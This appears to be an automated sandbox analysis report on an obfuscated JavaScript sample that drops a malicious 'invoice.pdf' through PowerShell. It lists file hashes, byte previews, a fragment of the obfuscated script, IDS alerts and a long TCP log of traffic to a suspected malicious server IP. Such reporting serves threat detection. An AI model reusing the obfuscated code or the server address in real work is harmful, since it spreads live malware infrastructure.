C:\Users\user\AppData\Local\Temp\acrocef_low\6434d698-5d92-44ed-8f5a-39de92e52d9e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7ouWLgGZtwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVuWLgGZtwZGk3mlind9i4ufFXpAXkru
MD5:	A8E5C37206C98D1B655FF994A420FFB6
SHA1:	827237782AB5971EC205C3BCECCC7950BE9F84C3
SHA-256:	F1F755059AF7C2CBC36920337941AEFB18FBDB3CD14D3239CBBBCF0CB8F208EA
SHA-512:	12DE33EB7624458AEC44D83D4E2C09E626F8E54E177FC0C26EEBA232935F34FAAAEB71FBB025EB7C53BEA9933C46ADCE759C32516D1B80C03B6734C61D61CEB2
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\6f3e4c43-a3f3-4afb-9172-22f87bbc9820.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14694), with CRLF line terminators
Entropy (8bit):	4.928952049539698
TrID:
File name:	507722252877028578.js
File size:	18'077 bytes
MD5:	33c629bdc61795f33057d7fb71d20435
SHA1:	9e027a0553aaf182a19a72a2c674f200da22ec17
SHA256:	a4ccd33fd2eb08425e4d6933ce975f9d610be5d17dff173eb42090ff847ba5b0
SHA512:	dd9ad959c26a9b1fcd8862deabcb77055690c6d0f6f95b42364242fae47d725868af992968508f9a69721a3f325dfa1cf7a4db349706a5c034abf87f07fae4d2
SSDEEP:	192:AF5UB9v030hIg0hIYZEjZxbBqMaew509gsq1gbZb5n0jQJd/DY7s1oXfccdA:8UQ0NqPh509gdwZb50QJC740fe
TLSH:	0E8233D04B35DB4787F050E6904708F112FD688E456011DA689EBACD0F3BB76A3E6ABD
File Content Preview:	function jeekzx(){rnbzfztgt=[1031,3079,5127,4103,2055,3072];var jlrqbykm=this[njlsu+hnqtyk+qthyq+khvznvt+unzisnswp+jidlvgwe+xrdyytakg+reasmzu](this[myjanu+gkldbsr+ojjwujj+qthyq+afuepte+njlsu+reasmzu][srcvwgktd+qthyq+unzisnswp+hnqtyk+reasmzu+unzisnswp+oxen

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:31:01.514658+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T23:31:07.029315+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:31:00.715831995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:00.720721960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:00.720818043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:00.949501038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:00.954338074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.514537096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.514585972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.514600992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.514609098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.514616013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.514636993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.514651060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.514657974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.514663935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.514674902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.514682055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.514689922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.514744043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.519507885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.519548893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.519628048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.557425022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.557440042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.557461977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.557558060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.643081903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.643098116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.643187046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.643199921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.643210888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.643224001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.643312931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.643378019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.643867970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.643879890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.643891096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.643939972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.643971920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.644011021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.644545078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.644556046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.644563913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.644573927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.644593954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.644607067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.644650936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.645204067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.645253897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.645256996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.645267963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.645317078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.645347118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.645358086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.645395041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.646116018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.685585022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.686184883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.686213017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.686223984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.686286926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.686383963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.686403036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.686436892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.730644941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.730662107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.730705023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.771694899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.771712065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.771723032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.771733046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.771819115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.771872044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.771899939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.771913052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.771919012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.771933079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.771945000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.771955013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.771955967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.771981001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.771984100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.772038937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.772686958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.772706985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.772718906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.772761106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.772805929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.772819042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.772830009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.772844076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.772845984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.772861004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.773612022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.773624897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.773637056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.773659945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.773675919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.773746014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.773760080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.773770094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.773782015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.773807049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.773837090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.774446964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.774468899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.774481058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.774523973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.774549007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.774569988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.774583101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.774590015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.774595022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.774631977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.775326014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.775346041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.775368929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.775368929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.775412083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.775445938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.775459051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.775470972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.775495052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.775998116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.776017904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.776041031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.815063953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.815082073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.815093994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.815105915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.815176964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.815762043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.815773964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.815788031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.815834999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.815865993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.858932018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.858948946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.859002113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.859009981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.859023094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.859034061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.859076023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.899930000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.899956942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.899970055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.899976015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.900015116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.900118113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.900130987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.900141954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.900165081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.900348902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.900392056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.900403976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.900424004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.900439024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.900450945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.900464058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.900492907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.900901079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.900923014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.900934935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.900958061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.900994062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.901005983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.901019096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.901030064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.901062965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.901601076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.901612997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.901626110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.901658058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.901667118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.901678085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.901691914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.901705980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.901766062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.902405977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.902416945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.902430058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.902441978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.902452946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.902456045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.902466059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.902478933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.902496099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.902533054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.903208017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.903219938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.903232098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.903253078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.903254986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.903269053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.903280020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.903280973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.903295040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.903304100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.903348923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.904150963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.904162884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.904174089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.904186010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.904197931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.904201984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.904211044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.904213905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.904226065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.904268980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.904966116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.904978037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.904989958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.905010939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.905011892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.905024052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.905026913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.905036926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.905050993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.905052900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.905095100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.905781031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.905802011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.905813932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.905846119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.905860901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.905874014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.905905008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.905916929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.905924082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.905939102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.906443119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:01.906666040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.906689882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:01.906702042 CET	80	49704	193.143.1.205	192.168.2.5
